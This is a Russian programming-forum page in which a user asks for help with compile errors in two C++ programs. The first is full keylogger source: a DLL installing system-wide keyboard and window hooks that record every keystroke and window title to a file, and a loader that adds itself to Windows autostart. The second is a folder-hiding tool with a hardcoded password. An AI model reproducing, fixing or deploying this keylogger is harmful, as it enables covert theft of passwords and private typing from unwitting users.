Форум программистов, компьютерный форум CyberForum.ru

В продолжение топика о пароле на папку - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ Несколько вопросов к программистам. http://www.cyberforum.ru/cpp-beginners/thread343041.html
Доброго времени суток! я начинающий, последние пару месяцев делал упор на изучение Си, WinAPI и дискретной математики. Наверное, это было не самым лучшим решением (WinAPI и дискретная математика). У меня возникло несколько вопросов к опытным программистам, к тем, кто уже работает. 1. С какими реальными задачами вы сталкиваетесь на работе? (Желательно бы несколько примерчиков.) Что по-вашему...
C++ system::string как выводить system::string ? http://www.cyberforum.ru/cpp-beginners/thread343034.html
Программа из 2-х файлов C++
Здравствуйте! Я только начала изучать язык С++ Пушу в Visual Studio Вот есть такое задание: надо написать прогу, чтоб в ней было 2 файла: 1) .h и .c (.ccp) и 2).h и .c (.ccp) в первом main, во втором 2 функции. С функциями то я быстро разобралась, а вот как создать 2 файла и их связать.... мб кто-нибудь подскажет?
C++ неоднозначный 'operator +'
Розробка проекта МFC. Одно документный проект. Открытие файла для записи и в рядку додавания информации в файл ругается на это: неоднозначный 'operator +' Строка: CString tmp=T.XX1()+(CString)","+T.XX2()+(CString)","+T.XX3(); Добавлено через 4 минуты З.Ы. Ругается на первый знак "+"
C++ Дочернее окно http://www.cyberforum.ru/cpp-beginners/thread343013.html
Не могу найти как создается дочернее окно. Надо подготовить курсовик по WinApi. Я долго оттягивал, но делать - то надо. Что же, придется убить время на программирование для виндовс, может и пригодится. Итак, задача у меня для низкого старта, так что я буду в этой теме спрашивать по мере необходимости. На данном этапе мне нужно просто создать 2 дочерних окна. Вот пока есть сам скелет, на который...
C++ Запись значения в динамический массив Добрый вечер, Сел я на ночь глядя писать программу, но вот проблема int s=0,k=0,z=0; char *temp = new char; char *tempnum = new char; int *tempnum3 = new int; for(int i=0; i < size; i++) { switch(A) { подробнее

Показать сообщение отдельно
Kopmec
 Аватар для Kopmec
0 / 0 / 0
Регистрация: 13.08.2011
Сообщений: 31
19.08.2011, 01:35     В продолжение топика о пароле на папку
Привет я тут пытался скомпилировать выдает ошибку в этом коде

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
 
/ Hook.cpp : DLL-Project
// 
 
#include <windows.h>
#include <stdio.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   SYSTEMTIME time;
   char buffer[30];
 
   GetLocalTime(&time); // получаем дату и время
// форматируем это в String
   sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                   time.wMonth,time.wYear,time.wHour,time.wMinute);
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
   WriteTime(); // сначала пишем время
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   char buffer[250];
   char title[256];
   GetWindowText(hWnd,title,100); // получаем имя
   sprintf(buffer," %s\r\n",title);
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
   BYTE btKeyState[256];
   HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
   WORD Symbol; 
   GetKeyboardState(btKeyState); 
   if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
       return Symbol;
    return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   WORD wc;
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   if(wParam==VK_RETURN) 
       WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
   else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
       if(iswprint(wc)) // проверяем или знак текстовой
           WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
   switch(ul_reason_for_call)
    {
       case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
       {
           if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
               hi=hModule;
           char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
                    // будет создавать новый в своем каталоге
           GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
           *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
           strcat(pfad,"KeySpy.txt"); // вставляем имя файла
        // каждый процесс должен открыть для себя файл отдельно
           if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                       FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                       OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                   return FALSE;
           break;
       }
 
        case DLL_PROCESS_DETACH:
       { // Снимать хуки и закрывать файл необязательно 
        // Система делает это автоматически
        // UnhookWindowsHookEx(hKeyHook);
        // UnhookWindowsHookEx(hCBTHook);
        // CloseHandle(hFile);
           break;
       }
       default:
           break;
   }
   return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
   if (nCode)
       return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
   if(lParam>=0) // нам нужно только нажатие
       WriteSymbol(wParam);
   return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     // обработали передаем дальше
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
           WriteTitle((HWND)wParam); // wParam новый HWND
   return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}
 
BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
   hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
   hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
   return hKeyHook && hCBTHook;
}
// конец DLL
Компилим, получаем hook.dll и hook.lib
 
А это простое приложение:
// KeySpy.cpp 
// 
 
#include <windows.h>
 
#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif
 
IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL
 
BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}
 
void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,pfad,MAX_PATH);
   RegSetValueEx(key,"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}
 
int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся
 
   Registry();
 
   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся
 
// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}
Не забудьте включить в проект hook.lib и скопировать hook.dll к MySpy.exe.
во 2 строке неправильный символ коментария там недописан однострочный символ исправил дальше обнаружена ошибка в строке 92

Добавлено через 31 минуту
В этом коде выдает ошибку в строке 64

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
 
#include <windows.h>
#include <shlobj.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
 
LPTSTR SelectPath(HWND hWnd);
bool GetPassword();
char my_getch(bool show_char);
 
int main()
{
        bool bSetAtrib = false;
        char ch, sPath[MAX_PATH];
        HWND hWnd = GetForegroundWindow();
        DWORD dwAtrib = 0x20;//+a
              dwAtrib +=0x00;//+r
        DWORD dwHider = 0x02;//+s
                  dwHider +=0x01;//+h
        DWORD dwSet   = dwAtrib;
        do
        {
                dwSet   = dwAtrib;
                printf("\t***MENU***\r\n");
                printf("1 - hide path\r\n");
                printf("2 - show path\r\n");
                scanf("%c",&ch);
                switch(ch)
                {
                        case '1':
                                if(!strcpy(sPath,SelectPath(hWnd)))
                                        printf("Path not choosen!\r\n");
                                else
                                {
                                        GetShortPathName(sPath,sPath,MAX_PATH);
                                        printf("Enter password\r\n");
                                        bSetAtrib = GetPassword();
                                        dwSet   += dwHider;
                                }
                                break;
                        case '2':
                                printf("Enter path\r\n");
                                scanf("%s",sPath);
                                printf("Enter password\r\n");
                                bSetAtrib = GetPassword();
                                break;
                };
                if(bSetAtrib)
                {
                        bSetAtrib = false;
                        if(SetFileAttributes(sPath, dwSet))
                                printf
                                (
                                        "PATH [ %s ]\r\nSET ATRIB [ 0x%p ] DONE\r\n",
                                        sPath,
                                        dwSet
                                );
                        else
                                printf("ERROR HIDE PATH [ %s ]\r\n",sPath);
                }
                printf("[Y/N] Y - Chose another folder\r\n");
        }
        while(toupper(getch()) == 'Y');
        return 0;
}
 
LPTSTR SelectPath(HWND hWnd)
{
        ShowWindow(hWnd,SW_HIDE);
        char sPath[MAX_PATH];sPath[0] = '\0';
        LPCITEMIDLIST lpItemDList;
        BROWSEINFO bi = {NULL, NULL, sPath,
           "Выберите файл/каталог для сокрытия/открытия",
                BIF_DONTGOBELOWDOMAIN|BIF_BROWSEINCLUDEFILES,
                NULL,
                NULL,
                0
        };
        if((lpItemDList=SHBrowseForFolder(&bi)))
        {
                if(SHGetPathFromIDList(lpItemDList, sPath))
                        GetShortPathName((LPCTSTR)sPath,sPath,strlen(sPath));
        }
        ShowWindow(hWnd,SW_SHOW);
        return &sPath[0];
}
 
bool GetPassword()
{
        bool ret = false;
        if(toupper(my_getch(false)) == 'P')
        if(toupper(my_getch(false)) == 'A')
        if(toupper(my_getch(false)) == 'S')
        if(toupper(my_getch(false)) == 'S')
        if(toupper(my_getch(false)) == 'W')
        if(toupper(my_getch(false)) == 'O')
        if(toupper(my_getch(false)) == 'R')
        if(toupper(my_getch(false)) == 'D')
                ret = true;
        printf("\r\n");
        return ret;
}
 
char my_getch(bool show_char)
{
        char ch = getch();
        printf("%c",show_char ? ch : '*');
        return ch;
}
 
Текущее время: 08:15. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru